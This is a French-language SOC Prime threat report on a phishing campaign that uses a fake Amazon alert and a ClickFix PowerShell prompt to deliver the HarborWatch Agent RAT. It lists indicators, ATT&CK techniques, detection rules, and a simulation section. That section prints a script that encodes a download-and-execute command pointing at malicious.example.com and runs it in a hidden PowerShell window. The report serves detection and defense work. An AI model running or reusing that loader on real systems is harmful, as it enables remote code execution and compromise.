SOC Prime Bias: Moyen

09 Jun 2026 13:04 UTC

D’une fausse alerte de sécurité Amazon à la livraison de l’agent HarborWatch

Author Photo
SOC Prime Team linkedin icon Suivre
D’une fausse alerte de sécurité Amazon à la livraison de l’agent HarborWatch
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Le rapport détaille une campagne de phishing construite autour d’une fausse alerte de sécurité d’Amazon qui trompe les victimes en les incitant à exécuter une commande PowerShell via une invite de type ClickFix. Cette commande télécharge un exécutable malveillant nommé mysql.exe, qui est en fait le RAT HarborWatch Agent. Une fois lancé, le malware se connecte à un serveur de commande et contrôle et transmet les informations de l’hôte. L’opération repose sur des domaines similaires et une méthode d’auto-infection pilotée par l’utilisateur pour éviter la détection traditionnelle basée sur les pièces jointes.

Investigation

Cofense a retracé la campagne depuis l’adresse d’expéditeur usurpée à travers les domaines malveillants, le téléchargeur PowerShell et la charge finale du malware. L’analyse dynamique de mysql.exe a révélé une communication sortante avec un serveur de commande et contrôle à 185.193.127.44 et l’utilisation des chemins API /api/agent/tasks/ and /api/heartbeat. L’analyse de la mémoire a également exposé l’identifiant HarborWatchAgent/c-1.1.1.

Atténuation

Les organisations devraient bloquer les domaines et adresses IP malveillants identifiés, restreindre l’exécution des commandes PowerShell encodées, surveiller la création inattendue de mysql.exe dans le répertoire Temp , et renforcer les défenses de messagerie contre l’usurpation d’identité de marque et les alertes usurpées.

Réponse

Si cette activité est détectée, isolez le point de terminaison affecté, terminez le processus de l’agent HarborWatch, collectez des preuves médico-légales, et déployez des blocages basés sur des indicateurs à travers l’environnement. Les utilisateurs devraient également être avertis de la fausse alerte de sécurité d’Amazon, et les protections contre le phishing devraient être mises à jour pour détecter des appâts similaires.

"graph TB %% Class definitions classDef action fill:#99ccff classDef malware fill:#ff6666 classDef process fill:#ffcc99 classDef file fill:#cccccc %% Nodes initial_access_phishing["<b>Action</b> – <b>T1566.002 Spearphishing Link</b><br/>Un e-mail semble provenir d’Amazon et contient un lien de vérification malveillant."] class initial_access_phishing action user_execution_malicious_link["<b>Action</b> – <b>T1204.001 User Execution: Malicious Link</b><br/>La victime clique sur le lien et est dirigée vers une page qui lui demande de copier-coller une commande PowerShell."] class user_execution_malicious_link action user_execution_copy_paste["<b>Action</b> – <b>T1204.004 User Execution: Copy and Paste</b><br/>La commande PowerShell copiée est exécutée localement."] class user_execution_copy_paste action obfuscation_obfuscated_files["<b>Action</b> – <b>T1027 Obfuscated Files or Information</b> & <b>T1027.018 Invisible Unicode</b><br/>La commande PowerShell est codée en base64 et contient des caractères Unicode cachés."] class obfuscation_obfuscated_files action deobfuscate_decode["<b>Action</b> – <b>T1140 Deobfuscate/Decode Files or Information</b><br/>La commande décode la charge utile à l’exécution."] class deobfuscate_decode action hide_artifact_hidden_window["<b>Action</b> – <b>T1564.003 Hidden Window</b><br/>La commande PowerShell s’exécute avec l’option -w hidden pour éviter l’affichage de l’interface utilisateur."] class hide_artifact_hidden_window action ingress_tool_transfer["<b>Action</b> – <b>T1105 Ingress Tool Transfer</b><br/>Le script télécharge un script PowerShell de second étage (code.txt) à partir d’un serveur distant."] class ingress_tool_transfer action server_software_component["<b>Action</b> – <b>T1505 Server Software Component</b><br/>Le second script récupère et exécute une charge utile (mysql.exe) placée dans %TEMP%."] class server_software_component action remote_access_tool["<b>Malware</b> – <b>T1219 Remote Access Tool</b><br/>Un RAT personnalisé nommé HarborWatch Agent est exécuté."] class remote_access_tool malware discovery_security_software["<b>Action</b> – <b>T1518.001 Security Software Discovery</b><br/>Le RAT collecte des informations sur les logiciels de sécurité."] class discovery_security_software action discovery_hardware["<b>Action</b> – <b>T1592.001 Hardware Discovery</b><br/>Le RAT récupère les détails matériels de l’hôte."] class discovery_hardware action discovery_network_appliances["<b>Action</b> – <b>T1590.006 Network Security Appliances</b><br/>Le RAT énumère les appareils de sécurité réseau."] class discovery_network_appliances action discovery_log_enumeration["<b>Action</b> – <b>T1654 Log Enumeration</b><br/>Le RAT énumère les journaux d’événements."] class discovery_log_enumeration action discovery_threat_vendor["<b>Action</b> – <b>T1681 Search Threat Vendor Data</b><br/>Le RAT recherche des renseignements sur les menaces."] class discovery_threat_vendor action c2_bidirectional["<b>Action</b> – <b>T1102.002 Web Service Bidirectional Communication</b><br/>Les données sont envoyées au serveur C2 via HTTPS."] class c2_bidirectional action c2_oneway["<b>Action</b> – <b>T1102.003 Web Service Oneu2011Way Communication</b><br/>Instructions supplémentaires récupérées via HTTPS."] class c2_oneway action c2_dynamic_resolution["<b>Action</b> – <b>T1568 Dynamic Resolution</b><br/>Le RAT résout les domaines C2 à l’exécution."] class c2_dynamic_resolution action c2_dga["<b>Action</b> – <b>T1568.002 Domain Generation Algorithms</b><br/>Liste de domaines générée automatiquement."] class c2_dga action c2_dead_drop_resolver["<b>Action</b> – <b>T1102.001 Dead Drop Resolver</b><br/>Récupère des instructions C2 supplémentaires depuis un site de dead drop."] class c2_dead_drop_resolver action exfiltration_c2["<b>Action</b> – <b>T1041 Exfiltration Over C2 Channel</b><br/>Les informations collectées sont exfiltrées par le même canal web."] class exfiltration_c2 action exfiltration_alternative["<b>Action</b> – <b>T1048 Exfiltration Over Alternative Protocol</b><br/>Protocole alternatif utilisé pour l’exfiltration des données."] class exfiltration_alternative action discovery_cloud_dashboard["<b>Action</b> – <b>T1538 Cloud Service Dashboard</b><br/>Données affichées sur un panneau web en langue chinoise (Harbor Sentinel)."] class discovery_cloud_dashboard action %% Connections initial_access_phishing –>|leads to| user_execution_malicious_link user_execution_malicious_link –>|leads to| user_execution_copy_paste user_execution_copy_paste –>|triggers| obfuscation_obfuscated_files obfuscation_obfuscated_files –>|decoded by| deobfuscate_decode deobfuscate_decode –>|executes| hide_artifact_hidden_window hide_artifact_hidden_window –>|downloads| ingress_tool_transfer ingress_tool_transfer –>|downloads| server_software_component server_software_component –>|executes| remote_access_tool remote_access_tool –>|performs| discovery_security_software remote_access_tool –>|performs| discovery_hardware remote_access_tool –>|performs| discovery_network_appliances remote_access_tool –>|performs| discovery_log_enumeration remote_access_tool –>|performs| discovery_threat_vendor remote_access_tool –>|communicates via| c2_bidirectional remote_access_tool –>|receives via| c2_oneway c2_bidirectional –>|uses| c2_dynamic_resolution c2_dynamic_resolution –>|uses| c2_dga c2_oneway –>|uses| c2_dead_drop_resolver remote_access_tool –>|exfiltrates via| exfiltration_c2 exfiltration_c2 –>|may also use| exfiltration_alternative remote_access_tool –>|reports to| discovery_cloud_dashboard "

Flux d’Attaque

Détections

Modèles de livraison ClickFix possibles dans la ligne de commande (via cmdline)

Équipe SOC Prime
09 juin 2026

Possibilité d’exécution via des lignes de commande PowerShell cachées (via cmdline)

Équipe SOC Prime
09 juin 2026

Chaînes PowerShell suspectes (via cmdline)

Équipe SOC Prime
09 juin 2026

Chaînes PowerShell suspectes (via PowerShell)

Équipe SOC Prime
09 juin 2026

Appeler des méthodes .NET suspectes depuis PowerShell (via PowerShell)

Équipe SOC Prime
09 juin 2026

IOCs (HashSha256) pour détecter : De fausse alerte de sécurité Amazon à HarborWatch Agent, livraison ClickFix d’un RAT de surveillance personnalisé

Règles d’IA SOC Prime
09 juin 2026

IOCs (HashMd5) pour détecter : De fausse alerte de sécurité Amazon à HarborWatch Agent, livraison ClickFix d’un RAT de surveillance personnalisé

Règles d’IA SOC Prime
09 juin 2026

IOCs (SourceIP) pour détecter : De fausse alerte de sécurité Amazon à HarborWatch Agent, livraison ClickFix d’un RAT de surveillance personnalisé

Règles d’IA SOC Prime
09 juin 2026

IOCs (DestinationIP) pour détecter : De fausse alerte de sécurité Amazon à HarborWatch Agent, livraison ClickFix d’un RAT de surveillance personnalisé

Règles d’IA SOC Prime
09 juin 2026

Exécution de mysql.exe avec un argument de mot de passe spécifique [Création de processus Windows]

Règles d’IA SOC Prime
09 juin 2026

Détection de communication C2 de HarborWatch Agent [Connexion réseau Windows]

Règles d’IA SOC Prime
09 juin 2026

Détecter l’exécution PowerShell avec obfuscation et fenêtre cachée [Windows PowerShell]

Règles d’IA SOC Prime
09 juin 2026

Exécution de simulation

Prérequis : La vérification préalable Télémetry & Baseline doit avoir réussi.

Justification : Cette section décrit l’exécution précise de la technique (TTP) de l’adversaire conçue pour déclencher la règle de détection. Les commandes et le récit doivent refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

  • Récit & Commandes d’Attaque :
    Un attaquant a obtenu un point d’entrée sur le terminal et souhaite télécharger et exécuter une charge utile malveillante tout en restant caché de l’utilisateur. Il créé une commande PowerShell en une ligne qui :

    1. Exécute sans profil (-nop) pour éviter de charger les profils utilisateur.
    2. Démarre dans une fenêtre cachée (-w hidden) pour éviter l’exposition de l’interface utilisateur (T1564.003).
    3. Incorpore un script de reverse shell codé en base64 pour échapper à la détection de chaînes simples (T1027.010).
    4. Exécute le script décodé via -EncodedCommand, utilisant PowerShell comme un binaire signé (T1218).

    La ligne de commande élaborée correspond aux filtres CommandLine|contains de la règle Sigma, générant ainsi l’alerte attendue.

  • Script de Test de Régression :

    # -------------------------------------------------
    # Exécution PowerShell malveillante qui devrait déclencher la règle Sigma
    # -------------------------------------------------
    $payload = 'IEX (New-Object Net.WebClient).DownloadString("http://malicious.example.com/payload.ps1")'
    $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
    $cmd = "-nop -w hidden -EncodedCommand $b64"
    Start-Process -FilePath "$env:SystemRootSystem32WindowsPowerShellv1.0powershell.exe" `
        -ArgumentList $cmd `
        -WindowStyle Hidden
    # Fin du script
  • Commandes de Nettoyage :

    # Terminer tous les processus PowerShell malveillants restants
    Get-Process -Name powershell -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # Supprimer tous les fichiers temporaires (aucun créé dans ce cas)
    # Supprimer la variable de charge utile base64 de la session (optionnel)
    Remove-Variable -Name b64 -ErrorAction SilentlyContinue